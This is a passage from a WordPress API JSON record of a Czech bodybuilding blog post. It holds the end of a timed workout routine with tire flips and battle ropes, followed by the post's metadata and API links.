P\u0159evracen\u00ed pneumatiky 30 sekund Cvi\u010den\u00ed s lany 30 sekund Posledn\u00ed t\u0159i cviky prov\u00e1d\u00edte na \u010das. A z\u00e1le\u017e\u00ed jen na va\u0161\u00ed kondici, zda zvl\u00e1dnete jeden cyklus t\u011bchto cvik\u016f, nebo p\u0159id\u00e1te dal\u0161\u00ed. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":599,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-593","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/593","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=593"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/593\/revisions"}],"predecessor-version":[{"id":598,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/593\/revisions\/598"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/599"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=593"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=593"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=593"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}